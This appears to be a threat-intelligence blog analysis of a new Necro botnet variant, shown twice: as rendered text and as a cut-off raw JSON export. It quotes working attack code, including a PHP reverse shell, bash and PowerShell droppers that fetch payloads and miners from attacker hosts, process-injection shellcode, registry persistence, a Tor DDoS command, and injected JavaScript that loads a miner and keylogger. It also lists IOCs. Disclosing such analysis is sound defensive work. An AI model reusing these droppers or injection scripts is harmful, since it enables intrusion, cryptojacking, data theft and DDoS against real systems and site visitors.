cd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r "file_put_contents(\\".setup\\", file_get_contents(\\"http://DOMAIN/setup\\"));";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r "file_put_contents(\\".setup.py\\", file_get_contents(\\"http://DOMAIN/setup.py\\"));";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS="-o DOMAIN:9050";LINE="[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &";cd $DIR;echo "$LINE" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh



The Windows exploit uses Powershell, which first downloads the packaged Pyhton 2.7 executable (py.exe), then downloads and executes Necro (setup.py).


"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\" & .\python.exe setup.py




Attack Windows system


From the above analysis, we can see that some WebLogic servers are running on Windows OS, and the KekSec group is obviously interested in these hosts as well. After the sample is started, if the underlying operating system is detected as Windows then py.exe will be copied to USERPROFILE\\$6829.exe, the code is shown in the following figure.


if os.name == 'nt':
    try:
        sys.argv[1]
    except IndexError:
        subprocess.Popen(GetCommandLine() + " 1", creationflags=8, close_fds=True)
        os.kill(os.getpid(),9)
    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)
    if GetLastError() == ERROR_ALREADY_EXISTS:
       os.kill(os.getpid(),9)
    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):
        try:
            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\$6829.exe')
            os.startfile(os.getenv('USERPROFILE') + '\\$6829.exe')
            os.kill(os.getpid(),9)
        except:
            pass
    else:




Necro will then download a file named x86.dll or x64.dll depending on the platform of choice:.


        try:
            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\$6829.exe')
        except:
            pass
    try:
        if platform.architecture()[0].replace("bit","") == "32":
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())
        else:
            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())
        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()
    except:
        pass



This dll file corresponds to an open source Rootkit project r77-rootkit, which according to the project description can fully hide specific processes:.


r77 is a ring 3 Rootkit that hides following entities from all processes:

Files, directories, named pipes, scheduled tasks
Processes
CPU usage
Registry keys & values
TCP & UDP connections
It is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.



Necro will then load the rootkit using a piece of shellcode using process injection from another open source project, sRDI, which uses the following shellcode.


    # pack rootkit and shellcode
    ...
       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x48\x89\xf4'
        gwObVdGd += b'\x5e'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo
    else:
    ...
        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions
        gwObVdGd += b'\x00\x00\x00'
        gwObVdGd += b'\x83\xc4\x14'
        gwObVdGd += b'\xc9'
        gwObVdGd += b'\xc3'
        if len(gwObVdGd) != ObianOdA:
            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))
        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW
    
    # inject process
     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)
    if not FfyiMaCpdR:
        cJaQhosf -= 1
        return
    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)
    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)
    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):



Finally, Necro will register the bootstrap item to SOFTWARE\Microsoft\Windows\CurrentVersion\Run:


        if os.name == 'nt':
            try:
                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
                aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\$6829.exe ' + os.path.r)
                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)
            except:
                pass




Using Tor communication


Since we have seen the KekSec group using Tor to hide the real C2 in Gafgyt_tor, we are not surprised that the new version of Necro supports Tor. What surprised us is that Necro actually integrates a Tor proxy-based DDoS attack method.


The Tor C2 communication code is as follows, and you can see the IPs and ports of multiple Tor proxies integrated in it.


try:
    import socks
except:
    f=open('socks.py', "w")
    f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())
    f.close()
    try:
        import socks
    except:
        exit(1)
    try:
        os.remove('socks.py')
        os.remove('socks.pyc')
    except:
        pass
server_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']
...
self.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'
self.AJEwioE='#freakyonionz'
self.Ajiowfe='FUCKWHITEHATZ'
...



The code of the newly added DDoS attack method torflood is as follows.


            elif CjoRjhoMj[3]==":" + self.cmdprefix + 'torflood':
                try:
                    import socks
                except:
                   ...
                        self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\n' % (MZqyBxdoS))
                for i in range(0, int(CjoRjhoMj[7])):
                    threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()
                self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))





Sub-domain DGA + dynamic domain name


The new version of Necro updated the DGA mechanism, using DGA to generate subdomains, and then with dynamic domain names to generate the final C2 domain name. From the code we can see the there are 30 dynamic domain name services providers.


zMuBHdcdB=0
while zMuBHdcdB < 0xcc:
    zMuBHdcdB+=1
    random.seed(a=0x7774DEAD + zMuBHdcdB)
    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()
    RaRdhjkniVY+="."+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])
    print RaRdhjkniVY



Nine domains are live now, and from the resolution records some domains uses IPv6 addresses.


2021-03-09 10:50:50     2021-03-12 16:10:45     ntxkg0la99w.zapto.org   
2021-03-12 08:19:49     2021-03-12 08:19:49     xxdqj6xbjpkzhk7k.servemp3.com      
2021-03-12 10:35:11     2021-03-12 10:35:11     qb7opowcawiagia.viewdns.net     
2021-03-12 08:46:28     2021-03-12 08:46:28     v5jke3mv89fjvxgd.serveftp.com   
2021-03-12 14:59:54     2021-03-12 14:59:54     nwpzhm8ziyhdzm.redirectme.net   
2021-03-12 03:12:07     2021-03-12 03:12:07     m1afommgsdowkmegc.redirectme.net   
2021-03-12 04:56:47     2021-03-12 04:56:47     ewmhkvdcoj3.servemp3.com        
2021-03-12 08:38:17     2021-03-12 08:38:17     tfcxvcg0lkc9vpx.myftp.org       
2021-03-12 06:48:19     2021-03-12 06:48:19     bdcauhuzk0d.viewdns.net 




JS code embedding


The main purpose of Necro's JS code embedding is to inject mining code in victim’s web pages.


elif CjoRjhoMj[3]==":" + self.cmdprefix + 'injectcount':
    self.commSock.send('PRIVMSG %s :I have injected into %s files total\n' % (MZqyBxdoS, self.AkvElneS))
elif CjoRjhoMj[3]==":" + self.cmdprefix + 'reinject':
    threading.Thread(target=self.OLkEqimhli).start()
    self.commSock.send('PRIVMSG %s :Re-injecting all html and js files\n' % (MZqyBxdoS))



Necro will first traverse the '*.js', '*.html', '*.htm', '*.php' files in the specified directory of the infected device to find the target of injection.


if os.name != "nt":
    self.AkvElneS=0
    for fkEoBpoAxpZc in [ele for ele in os.listdir("/") if ele not in ['proc', "bin", 'sbin', 'sbin', "dev", "lib", 'lib64', 'lost+found', "sys", 'boot', "etc"]]:
        for hfHpWZSupopK in ['*.js', '*.html', '*.htm', '*.php']:
            for oGADwYHVg in os.popen("find \"/" + fkEoBpoAxpZc + "\" -type f -name \"" + hfHpWZSupopK + "\"").read().split("\n"):
                oGADwYHVg = oGADwYHVg.replace("\r", "").replace("\n", "")
                if 'node' not in oGADwYHVg and 'lib' not in oGADwYHVg and "npm" not in oGADwYHVg and oGADwYHVg != "":
                    self.chLYewdc(oGADwYHVg)



Once the target is found, Necro inserts a piece of code into the file.


MnPbIqasMz=open(oGADwYHVg,"rb")
            mkkzygnopRnB=MnPbIqasMz.read()
            MnPbIqasMz.close()
            fPSqTAZGgcep = kdYaxMPRdP(8)
            OGipqKBSmmTb = kdYaxMPRdP(8)
            hgOlaeQcQza = b64encode("//" + self.injectCOxhTEJfB + '/campaign.js')
            fwEiSidxlgH='(function(' + OGipqKBSmmTb + ", " + fPSqTAZGgcep + ") {" + fPSqTAZGgcep + " = " + OGipqKBSmmTb + ".createElement('script');" + fPSqTAZGgcep + ".type = 'text/javascript';" + fPSqTAZGgcep + '.async = true;' + fPSqTAZGgcep + ".src = atob('" + IoMfNcaVcJL + hgOlaeQcQza + IoMfNcaVcJL + "'.replace(/" + IoMfNcaVcJL + "/gi, '')) + '?' + String(Math.random()).replace('0.','');" + OGipqKBSmmTb + ".getElementsByTagName('body')[0].appendChild(" + fPSqTAZGgcep + ');}(document));'
           ...
            else:
                if oGADwYHVg.endswith(".js"):
                    if 'var ' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, 'var ', fwEiSidxlgH + 'var ', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
                else:
                    if '</body' in mkkzygnopRnB:
                        mkkzygnopRnB=self.kRChazSiN(mkkzygnopRnB, '</body', '<script type=' + '"' + 'text/javascript' + '"' + ">" + fwEiSidxlgH + '</script></body', 1)
                        self.AkvElneS+=1
                        wQARXUaaF = True
            if wQARXUaaF:
                MnPbIqasMz=open(oGADwYHVg, "wb")



The infected page will have the following additional code.


(function(v2, v1) {
    v1 = v2.createElement('script');
    v1.type = 'text/javascript';
    v1.async = true;
    v1.src = atob('UUIDLy91YmxvY2stcmVmZXJlci5kZXYvY2FtcGFpZ24uanM=UUID'.replace(/UUID/gi, '')) + '?' + String(Math.random()).replace('0.', '');
    v2.getElementsByTagName('body')[0].appendChild(v1);
}(document));



This small piece of code will link to a script hxxp[:]//ublock-referer.dev/campaign.js . Through our WebInsight system we can see that 300+ websites have been infected by Necro in the last week.


campaign.js is a highly obfuscated javascript code with a detection rate of 0 on VT.


The code uses two layers of obfuscation, it has three main functions.


 * Mining


When an end user visits the victim’s website, the browser will load a mining js script: hxxps[:]//cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.xmr2


 * User data stealing


The code monitors 4 events unload/beforeunload/popstate/pagehide and then reports the data through the following two interfaces





Interface
Functions




/l.php
upload keyboad records


/f.php
upload form data





 * Execute instruction


When end users access victim’s website, the malicious js will be loaded, and ublock-referer.dev/api.ph will be called to perform various functions and send back some of the users’ data, a brief breakdown of the functions





Command
Functions
Interface




cookie
To send back cookie
/c.php


clipboard
To send back clipboard content
/cb.php


view
Calling iframe to load any url



post
Send POST request to target



floodpost
DDos a target with periodical POST requests



load
Periodically adding Image objects and requesting links to specified resources to DDos a target



antiddos
By adding iframes periodically and adding random strings of numbers after the target link to DDos target



layer4
Periodically sending POST requests of random content of specified length range to the target (DDoS)



jack
Load the specified content by creating iframe, can be used to fake or hijack webpage



eval
Execute arbitrary code via the eval method



md5/sha1
Perform collision attacks against MD5 with the specified length range and code table, and report back when it succeeds
/h.php





The corresponding C2 is still hxxp[:]//ublock-referer.dev/, switching between http/https according to the protocol of the compromised site


master = window["location"]["protocol"] + "//ublock-referer.dev";
APIKey = "callbackScript";



The URL hxxps[:]//ublock-referer.dev is also used to download the malicious FireFox plug-in ublock_referer-1.0.0-an+fx.xpi, the plug-in uses the above mentioned Javascript Bot Cloud9.



Code obfuscation algorithm


This new version of Necro abandoned the original simple variable name replacement algorithm, and implemented a code morphing algorithm based on the abstract syntax tree AST, which achieves full complete randomization of object names and higher code coverage of obfuscation, with the result that the new version of Necro sample VT detection rate of 0.


dDojPSRD=open(ULTiBINyz,"rb")
     ...
     p = ast.parse(CFiLMBZFoL)
     MiaFfQWZhb().visit(p)
     for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):
        ...
     EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})
     for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:
         aPpaAZnhc.append(mFVUeqoHs.name)
     EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]
     for ubhohFYJDo in EqDdlmuEhx:
         for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:
             if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:
                 aPpaAZnhc.append(mFVUeqoHs.name)
     ...
     hkaxeZCocag=open(ULTiBINyz,"wb")




Summary


Since Necro was discovered, we have been continuously following and tracking this botnet, and associated it with the KekSec group behind it, and discovered more of their activities to attack Linux devices. We will continue to keep an eye on Necro, and will disclose any new findings.



IOC


 * Tor C2


faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion



 * Download URL


http://ntxkg0la99w.zapto.org/setup.py
http://kek.gay/benchmark.py
http://kek.gay/x86.dll
http://kek.gay/x64.dll
http://kek.gay/xmrig1.py
http://kek.gay/xmrig1
http://kek.gay/py.exe



 * JS Miner/Bot Related


https://cloud-miner.de/*
https://ublock-referer.dev/*



 * Tor Proxy


77.238.128.166:9050
192.248.190.123:8017
192.248.190.123:8009
213.251.238.186:9050
178.62.242.15:9107
88.198.82.11:9051
52.3.115.71:9050
83.217.28.46:9050
147.135.208.44:9095
188.166.34.137:9000
103.233.206.22:179
161.97.71.22:9000
54.161.239.214:9050
194.5.178.150:666
144.91.74.241:9080
134.209.230.13:8080
201.40.122.152:9050
206.81.27.29:8080
127.0.0.1:9050




Contact us


Readers are always welcomed to reach us on twitter, or email to netlabat 360dot cn

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Overview\nBack in January, we blogged about a new botnet [Necro](__GHOST_URL__/not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph/) and shortly after our report, it stopped spreading. On March 2nd, we noticed a new variant of Necro showing up on our BotMon tracking radar March 2nd, the BotMon system has detected that Necro has started spreading again, in addition to the previous TerraMaster RCE (CVE_2020_35665) and Zend RCE (CVE-2021-3007), two newer vulnerabilities Laravel RCE (CVE-2021-3129) and WebLogic RCE ( CVE-2020-14882) have been added, the following graphic shows the trend. "}],["image",{"src":"__GHOST_URL__/content/images/2021/03/exp_scan_trend_20k-2.png"}],["markdown",{"markdown":"We found that after a month of silence the new version of Necro has been significantly changed and further enhanced, the following is a summary:\n\n1. Start to attack Windws system and use Rootkit to hide itself on Windows platform.\n2. \"subdomain DGA + dynamic domain name\" are being used to generate C2 domains\n3. C2 communication support Tor, and a Tor-based DDoS attacks has been added.\n4. It propagates [Gafgyt_tor](__GHOST_URL__/tor-bld/) against specific Linux targets.\n5. It tampers with the web service page on the victim machine to perform browser mining, as well as stealing user data, turning the user's browser into DDos bot, and hash cracking.\n\nWe mentioned earlier this month that [Gafgyt_tor](__GHOST_URL__/tor-bld/) and Necro are released by same group, the so-called Keksec, the functions of this new Nerco is shown below"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/necro_attack_flow-2.png"}],["markdown",{"markdown":"It is worth noting that we have seen two samples of the new version, one uses Tor for C2 and one generates C2 by using \"subdomain DGA + dynamic domain.\n\n## Sample Analysis\n\n### Scanning and propagation\n\n * Laravel RCE (CVE-2021-3129)\n\nThe exploit of this vulnerability uses a reverse shell to first download a bash script, as shown in the following figure.\n\n```\nZCgAMCXTa='php -r \\'$sock=fsockopen(\"'+self.YxqCRypO+'\",9999);$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);\\''\n        ZCgAMCXTa=ZCgAMCXTa.replace('/', '\\/')\n```\n\nThe downloaded bash script functions as follows.\n\n1. Download and execute another script `malware.sh`.\n2. Download and execute [Gafgyt_tor](__GHOST_URL__/tor-bld/).\n3. Download and execute the mining program.\n\nHere is a bash script we captured.\n\n```\nwget http://kek.gay/malware.sh -O malware.sh\nsh malware.sh\nrm -f malware.sh\ncd /tmp || cd /home/$USER || cd /var/run || cd $(busybox find / -writable -readable -executable | head -n 1) || cd /mnt || cd / ;\nwget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox wget http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; busybox curl http://45.145.185.83/S1eJ3/IObeENwjx64 -O IObeENwjx64; ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; busybox ftpget -v -u anonymous -p anonymous -P 21 45.145.185.83 IObeENwjx64 IObeENwjx64; chmod 777 IObeENwjx64; ./IObeENwjx64; rm -f  IObeENwjx64\n...\nexport ARGS=\"-o 45.145.185.83:9050\"\nexport LINE=\"[ ! -f /tmp/.apid ] && echo > /tmp/.apid;./.1/sshd $ARGS  >> /dev/null;./.2/sshd $ARGS >> /dev/null &\"\necho \"$LINE\" > ./.backup.sh\ncurl http://45.145.185.83/xmrig1 -O\nwget http://45.145.185.83/xmrig1 -O xmrig1\nmkdir ./.1;mv -f xmrig1 ./.1/sshd\n...\nchmod +x ./.backup.sh;\nsh ./.backup.sh &\nexit\n\n```\n\nOne of the malware.sh scripts is used to download and execute a new version of Necro, as shown below.\n\n```\n#pkill -9 python\nwget http://45.144.225.96/benchmark.py -O benchmark.py\npython benchmark.py || python2 benchmark.py || python2.7 benchmark.py || /usr/bin/python benchmark.py || /usr/bin/ python2 benchmark.py || /usr/bin/ python2.7 benchmark.py\n```\n\n* WebLogic RCE (CVE-2020-14882)\n\nThe vulnerability has two exploits, one for Linux and one for Windows.\n\nThe exploit for Linux uses bash, which downloads and executes both Necro (setup.py) and the mining program.\n\n```\ncd /tmp||cd $(find / -writable -readable -executable | head -n 1);php -r \"file_put_contents(\\\\\".setup\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup\\\\\"));\";curl http://DOMAIN/setup -O;wget http://DOMAIN/setup -O .setup;chmod 777 .setup;./.setup;php -r \"file_put_contents(\\\\\".setup.py\\\\\", file_get_contents(\\\\\"http://DOMAIN/setup.py\\\\\"));\";curl http://DOMAIN/setup.py -O;wget http://DOMAIN/setup.py -O .setup.py;chmod 777 .setup.py;./.setup||python2 .setup.py||python .setup.py||./setup.py;DIR=`pwd`;ARGS=\"-o DOMAIN:9050\";LINE=\"[ ! -f $DIR/.pidfile ] && echo > $DIR/.pidfile;$DIR/.1/sshd $ARGS||$DIR/.2/sshd $ARGS >> /dev/null||./sshd $ARGS >> /dev/null &\";cd $DIR;echo \"$LINE\" > $DIR/.backup.sh;curl http://DOMAIN/xmrig1 -O||wget http://DOMAIN/xmrig1 -O xmrig1;mkdir $DIR/.1;mv -f xmrig1 $DIR/.1/sshd;chmod 777 $DIR/.1/sshd;curl http://DOMAIN/xmrig -O||wget http://DOMAIN/xmrig -O xmrig;mkdir $DIR/.2;mv -f xmrig $DIR/.2/sshd;chmod 777 $DIR/.2/sshd;chmod +x $DIR/.backup.sh;$DIR/.backup.sh\n```\n\nThe Windows exploit uses Powershell, which first downloads the packaged Pyhton 2.7 executable (py.exe), then downloads and executes Necro (setup.py).\n\n```\n\"@powershell -NoProfile -ExecutionPolicy unrestricted -Command \\\"(New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/py.exe', 'python.exe'); (New-Object System.Net.WebClient).DownloadFile('http://DOMAIN/setup.py', 'setup.py');\\\" & .\\python.exe setup.py\n```\n\n### Attack Windows system\nFrom the above analysis, we can see that some WebLogic servers are running on Windows OS, and the KekSec group is obviously interested in these hosts as well. After the sample is started, if the underlying operating system is detected as Windows then py.exe will be copied to `USERPROFILE\\\\$6829.exe`, the code is shown in the following figure.\n\n```\nif os.name == 'nt':\n    try:\n        sys.argv[1]\n    except IndexError:\n        subprocess.Popen(GetCommandLine() + \" 1\", creationflags=8, close_fds=True)\n        os.kill(os.getpid(),9)\n    ehVfvaRFGMNE = CreateMutex(None, False, ehVfvaRFGMNE)\n    if GetLastError() == ERROR_ALREADY_EXISTS:\n       os.kill(os.getpid(),9)\n    if os.path.abspath(sys.argv[0]).lower().endswith('.exe') and not os.path.abspath(sys.argv[0]).lower().endswith('$6829.exe'):\n        try:\n            shutil.copyfile(os.path.abspath(sys.argv[0]), os.getenv('USERPROFILE') + '\\\\$6829.exe')\n            os.startfile(os.getenv('USERPROFILE') + '\\\\$6829.exe')\n            os.kill(os.getpid(),9)\n        except:\n            pass\n    else:\n\n```\n\nNecro will then download a file named `x86.dll` or `x64.dll` depending on the platform of choice:.\n\n```\n        try:\n            shutil.copyfile(sys.executable, os.getenv('USERPROFILE') + '\\\\$6829.exe')\n        except:\n            pass\n    try:\n        if platform.architecture()[0].replace(\"bit\",\"\") == \"32\":\n            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x86.dll').read())\n        else:\n            eZazkoBSoXlO=ahFxoRRhxXE(urllib2.urlopen('http://' + RaRdhjkniVY + '/x64.dll').read())\n        threading.Thread(target=oFHPQFcppV, args=(eZazkoBSoXlO,)).start()\n    except:\n        pass\n```\n\nThis dll file corresponds to an open source Rootkit project [r77-rootkit](https://github.com/bytecode77/r77-rootkit), which according to the project description can fully hide specific processes:.\n\n```\nr77 is a ring 3 Rootkit that hides following entities from all processes:\n\nFiles, directories, named pipes, scheduled tasks\nProcesses\nCPU usage\nRegistry keys & values\nTCP & UDP connections\nIt is compatible with Windows 7 and Windows 10 in both x64 and x86 editions.\n```\n\nNecro will then load the rootkit using a piece of shellcode using process injection from another open source project, [sRDI](https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py), which uses the following shellcode.\n\n```\n    # pack rootkit and shellcode\n    ...\n       gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4)\n        gwObVdGd += b'\\x00\\x00\\x00'\n        gwObVdGd += b'\\x48\\x89\\xf4'\n        gwObVdGd += b'\\x5e'\n        gwObVdGd += b'\\xc3'\n        if len(gwObVdGd) != ObianOdA:\n            raise Exception('x64 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyWo\n    else:\n    ...\n        gwObVdGd += struct.pack('b', ObianOdA - len(gwObVdGd) - 4) # Skip over the remainder of instructions\n        gwObVdGd += b'\\x00\\x00\\x00'\n        gwObVdGd += b'\\x83\\xc4\\x14'\n        gwObVdGd += b'\\xc9'\n        gwObVdGd += b'\\xc3'\n        if len(gwObVdGd) != ObianOdA:\n            raise Exception('x86 bootstrap length: {} != bootstrapSize: {}'.format(len(gwObVdGd), ObianOdA))\n        return gwObVdGd + dXQHuOmhsG + FVgoLCUS + fzWaJzyW\n    \n    # inject process\n     FfyiMaCpdR = windll.kernel32.OpenProcess(0x1F0FFF, False, UjyuiVGyhiD)\n    if not FfyiMaCpdR:\n        cJaQhosf -= 1\n        return\n    llvOMLUBC = windll.kernel32.VirtualAllocEx(FfyiMaCpdR, 0, len(eZazkoBSoXlO), 0x00001000, 0x40)\n    windll.kernel32.WriteProcessMemory(FfyiMaCpdR, llvOMLUBC, eZazkoBSoXlO, len(eZazkoBSoXlO), 0)\n    if not windll.kernel32.CreateRemoteThread(FfyiMaCpdR, None, 0, llvOMLUBC, 0, 0, 0):\n```\n\nFinally, Necro will register the bootstrap item to `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run`:\n\n```\n        if os.name == 'nt':\n            try:\n                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)\n                aKey = OpenKey(aReg, r\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", 0, KEY_WRITE)\n                SetValueEx(aKey,'System explore',0, REG_SZ, os.getenv('USERPROFILE') + '\\\\$6829.exe ' + os.path.r)\n                windll.kernel32.SetFileAttributesW(os.getenv('USERPROFILE') + '\\\\$6829.exe', FILE_ATTRIBUTE_HIDDEN)\n            except:\n                pass\n```\n\n### Using Tor communication\n\nSince we have seen the KekSec group using Tor to hide the real C2 in [Gafgyt_tor](__GHOST_URL__/tor-bld/), we are not surprised that the new version of Necro supports Tor. What surprised us is that Necro actually integrates a Tor proxy-based DDoS attack method.\n\nThe Tor C2 communication code is as follows, and you can see the IPs and ports of multiple Tor proxies integrated in it.\n\n```\ntry:\n    import socks\nexcept:\n    f=open('socks.py', \"w\")\n    f.write(urllib2.urlopen('https://raw.githubusercontent.com/mikedougherty/SocksiPy/master/socks.py').read())\n    f.close()\n    try:\n        import socks\n    except:\n        exit(1)\n    try:\n        os.remove('socks.py')\n        os.remove('socks.pyc')\n    except:\n        pass\nserver_list = ['192.248.190.123:8017', '192.248.190.123:8001', '88.198.82.11:9051', '52.3.115.71:9050', '185.117.154.207:443', '199.19.224.116:9050', '188.166.34.137:9000', '161.97.71.22:9000', '54.161.239.214:9050', '144.91.74.241:9080', '201.40.122.152:9050', '194.5.178.150:666', '83.217.28.46:9050', '8.210.163.246:60001', '35.192.111.58:9221', '127.0.0.1:9050']\n...\nself.onionserver='faw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion'\nself.AJEwioE='#freakyonionz'\nself.Ajiowfe='FUCKWHITEHATZ'\n...\n```\n\nThe code of the newly added DDoS attack method `torflood` is as follows.\n\n```\n            elif CjoRjhoMj[3]==\":\" + self.cmdprefix + 'torflood':\n                try:\n                    import socks\n                except:\n                   ...\n                        self.commSock.send('PRIVMSG %s :Unable to initilize socks module.\\n' % (MZqyBxdoS))\n                for i in range(0, int(CjoRjhoMj[7])):\n                    threading.Thread(target=self.XoReERalPae,args=(CjoRjhoMj[4],CjoRjhoMj[5],int(CjoRjhoMj[6]),)).start()\n                self.commSock.send('PRIVMSG %s :Started Tor HTTP flood on URL: %s with %s threads\\n' % (MZqyBxdoS,CjoRjhoMj[4],CjoRjhoMj[7]))\n\n```\n\n### Sub-domain DGA + dynamic domain name\n\nThe new version of Necro updated the DGA mechanism, using DGA to generate subdomains, and then with dynamic domain names to generate the final C2 domain name. From the code we can see the there are 30 dynamic domain name services providers.\n\n```\nzMuBHdcdB=0\nwhile zMuBHdcdB < 0xcc:\n    zMuBHdcdB+=1\n    random.seed(a=0x7774DEAD + zMuBHdcdB)\n    RaRdhjkniVY=(''.join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randrange(10,19)))).lower()\n    RaRdhjkniVY+=\".\"+random.choice(['ddns.net','ddnsking.com','3utilities.com','bounceme.net','freedynamicdns.net','freedynamicdns.org','gotdns.ch','hopto.org','myddns.me','myftp.biz','myftp.org','myvnc.com','onthewifi.com','redirectme.net','servebeer.com','serveblog.net','servecounterstrike.com','serveftp.com','servegame.com','servehalflife.com','servehttp.com','serveirc.com','serveminecraft.net','servemp3.com','servepics.com','servequake.com','sytes.net','viewdns.net','webhop.me','zapto.org'])\n    print RaRdhjkniVY\n```\n\nNine domains are live now, and 